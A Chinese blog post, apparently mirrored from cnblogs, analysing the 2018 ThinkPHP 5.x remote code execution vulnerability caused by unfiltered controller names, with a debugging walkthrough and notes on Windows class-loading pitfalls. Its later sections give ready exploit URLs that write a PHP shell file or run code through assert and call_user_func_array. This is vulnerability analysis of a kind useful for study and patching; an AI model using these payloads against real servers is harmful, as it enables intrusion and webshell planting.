• [漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录


    0x00 简介

    2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。

    吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell。

    (以下截图为后截图,主要是想讲一下从无到有,如何分析漏洞,整个过程是怎么样的。)

    0x01 漏洞原理

    下午睡醒,赶紧起来分析漏洞。

    结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息

    拉一个tp下来,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好环境。

     在官方修改的地方加断点(thinkphplibrary hink outedispatchModule.php),加载默认的控制器来分析。

    请求:

    http://127.0.0.1/index.php/index/index/index

    命中断点。

    一步步跟进controller的走向,发现在同文件下的 exec函数,实例化控制器

     跟进controller方法,thinkphplibrary hinkApp.php

    使用parseModuleAndClass方法来解析,继续跟进

    分析一下代码,发现会有一个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

    此处没有包含,所以会进入下面的判断,最后使用parseClass来解析,跟如parseClass函数

    发现进过parseName之后index变成了首字母大写,原因是经过了命名风格转换。

    最后会将命名空间等进行拼接

    返回我们带命名空间的完整类名。

    跟进,回到了controller方法,此时判断类是否存在,不存在会触发自动加载类。

    之后就是实例化类,使用反射来调用类的相应方法了。(偷懒省略掉了,主要是介绍一下分析的过程)

    大概流程摸清楚了,那么这个漏洞是怎么触发的呢?

    在跟踪的时候我们发现,类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分,结合那一个判断代码:反斜杠是否存在,直接返回类名的操作。

    不难想到是可以调用任意类的方法。

    比如这样?

    http://127.0.0.1/index.php/index/thinkapp/index

     请求一下,发现报错了。

     what the fuck? 我的反斜杠怎么变成了正斜杠了?而且这个控制器怎么获取的是Think?

    猜测是浏览器的原因,用bp发包一样如此,那么还有没有其他方法可以获取到呢?

    翻了一下tp的配置文件

    发现可以使用s来获取,那么我们就可以尝试使用

    http://127.0.0.1/index.php?s=/index/thinkapp/index

    成功实例化了App类,因为没有index 方法所以这里会报错。

    但已经验证了整个漏洞的原理。

    控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

    形如:

    http://127.0.0.1/index.php?s=/index/namespaceclass/method

    漏洞点找到了,那么就是找利用点了。

    0x02 漏洞利用

    tp 5.1.29 简单找了个写shell的方法,看到thinkphplibrary hink emplatedriverFile.php 文件

    有一个完美的写shell方法。

    http://127.0.0.1/index.php?s=index/ hink emplatedriverfile/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

    执行之后会在根目录下写入shell.php ,内容是输出phpinfo();

    那么tp 5.0要怎么利用呢??

    接下来就是踩坑之旅了。

    0x03 无尽的踩坑

    把tp 5.1的payload,拉过去打一发,发现报错了,控制器不存在??

     猜测是5.0和5.1的文件可能不一样,打开一看,都一样啊,怎么加载不了。

    上断点,跟踪。此处省略一万字。

    跟踪半天发现类加载器有这么一行代码。位置: thinkphplibrary hinkLoader.php 方法  autoload

    以及一开始的获取控制器的时候 会判断是否自动转换控制器,将控制器名变成小写。

    而这个url_convert配置项默认是true。

    而我们的类文件名是大写的。

    那么在win下,由于严格区分大小写,所以必然不会加载到相应的类文件。

    (图中判断,由于IS_WIN为True,!IS_WIN必为False,逻辑与,一个为False条件就成立。)

    虽然最终由于绑定参数的问题导致该方法依然不可以用(这个问题就不展开分析了)

    但是这个win环境的问题确实卡了我很久。

    也难怪分析了半天,为啥别人都那么快就找出利用,原来都是linux的环境,可以加载的类多了去了。

    最终也导致5.0的自己没有找到利用的类。

    0x04 兼容多平台的payload

    综上,由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。

    那么哪些payload是可以兼容多个平台呢?

    由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

    5.1是下面这些:

    thinkLoader 
    ComposerAutoloadComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
    thinkError 
    thinkContainer
    thinkApp 
    thinkEnv 
    thinkConfig 
    thinkHook 
    thinkFacade
    thinkfacadeEnv
    env
    thinkDb
    thinkLang 
    thinkRequest 
    thinkLog 
    thinklogdriverFile
    thinkfacadeRoute
    route
    thinkRoute 
    think outeRule
    think outeRuleGroup
    think outeDomain
    think outeRuleItem
    think outeRuleName
    think outeDispatch
    think outedispatchUrl
    think outedispatchModule
    thinkMiddleware
    thinkCookie
    thinkView
    thinkviewdriverThink
    thinkTemplate
    think emplatedriverFile
    thinkSession
    thinkDebug
    thinkCache
    thinkcacheDriver
    thinkcachedriverFile

    5.0 的有:

    thinkLoader
    thinkRoute
    thinkConfig
    thinkValidate
    thinkConsole
    thinkError
    thinkApp
    thinkRequest
    thinkHook
    thinkEnv
    thinkLang

    两个版本公有的是:

    thinkRoute 

    thinkLoader 

    thinkError 

    thinkApp 

    thinkEnv 
    thinkConfig 
    thinkHook 

    thinkLang 
    thinkRequest 

    本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)

    所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判

    比如:

    5.1.x php版本>5.5

    http://127.0.0.1/index.php?s=index/think equest/input?data[]=phpinfo()&filter=assert

    http://127.0.0.1/index.php?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    http://127.0.0.1/index.php?s=index/ hink emplatedriverfile/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

    5.0.x php版本>=5.4

    http://127.0.0.1/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

    0x05 总结

    至此,算是把整个漏洞分析记录讲完了,和p喵呜聊的时候,他也是被win坑的老惨。

    所以珍惜生命,远离windows xd。

    还有就是自己太菜了,给各位大佬递头。

  • 相关阅读:
    TAOCP读书笔记——Search(1)
    JAVA进程间通信
    C++ Primer 阅读总结 (1)
    初来乍到
    [C#]手把手教你打造Socket的TCP通讯连接(二)
    [C#]手把手教你打造Socket的TCP通讯连接(三)
    数字ToString作为货币显示并且带小数
    [C#]手把手教你打造Socket的TCP通讯连接(一)
    [C#]手把手教你打造Socket的TCP通讯连接(四)
    WPF中使用ItemTemplate把所有Item都控制为指定大小
  • 原文地址:https://www.cnblogs.com/r00tuser/p/10103329.html
Copyright © 2020-2023  润新知